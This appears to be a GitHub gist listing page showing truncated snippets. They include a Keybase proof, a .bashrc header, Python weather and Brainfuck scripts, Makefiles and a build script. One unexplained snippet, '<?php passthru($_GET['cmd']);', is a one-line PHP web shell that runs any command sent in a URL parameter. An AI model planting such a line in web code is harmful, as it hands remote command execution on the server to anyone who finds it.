I hereby claim:
- I am ryosan-470 on github.
- I am jtwp470 (https://keybase.io/jtwp470) on keybase.
- I have a public key ASA1ho8E5fEVyC3jkacj5A16-7YWHdDJcBddzKKVL6iqXwo
To claim this, I am signing this object:
| # ~/.bashrc: executed by bash(1) for non-login shells. | |
| # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) | |
| # for examples | |
| # If not running interactively, don't do anything | |
| case $- in | |
| *i*) ;; | |
| *) return;; | |
| esac |
| <?php passthru($_GET['cmd']); |
I hereby claim:
To claim this, I am signing this object:
| import urllib.request | |
| import json | |
| BASE_URL = "http://api.openweathermap.org/data/2.5/weather?q=" | |
| def kelbin2degree(d): | |
| return d - 273.15 |
| diff --git Makefile Makefile | |
| index af87e95..04928f1 100644 | |
| --- Makefile | |
| +++ Makefile | |
| @@ -1,5 +1,5 @@ | |
| CC=gcc | |
| -CFLAGS=-O6 -Wall | |
| +CFLAGS=-O3 -Wall | |
| #CFLAGS=-g | |
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """ | |
| Reference: | |
| + [Wikipedia:Brainfuck](http://en.wikipedia.org/wiki/Brainfuck) | |
| + [PythonでBrainf*ckを書いてみた](http://emoson.hateblo.jp/entry/2014/10/14/193825) | |
| """ | |
| pc = 0 # program counter | |
| mem = [0 for i in range(30000)] | |
| ptr = 0 # pointer |
| CC=gcc | |
| CFLAGS=-m32 -Wall | |
| ASFLAGS=-m32 -Wall | |
| TARGET=q10-1 | |
| OBJS=q10-1_main.o q10-1.o | |
| $(TARGET): $(OBJS) | |
| $(CC) $(CFLAGS) $(OBJS) -o $(TARGET) | |
| .c.o: |
| #!/bin/bash | |
| FILE=$1 | |
| FILENAME=${FILE%.*} # 拡張子なしのファイル名 | |
| FILEEXT=${FILE##*.} # 拡張子 | |
| FORMAT='markdown_github' # Github Markdown | |
| if [ $# -ne 1 ]; then | |
| echo "Argument parse error." | |
| echo "Usage: ./build.sh FILENAME" |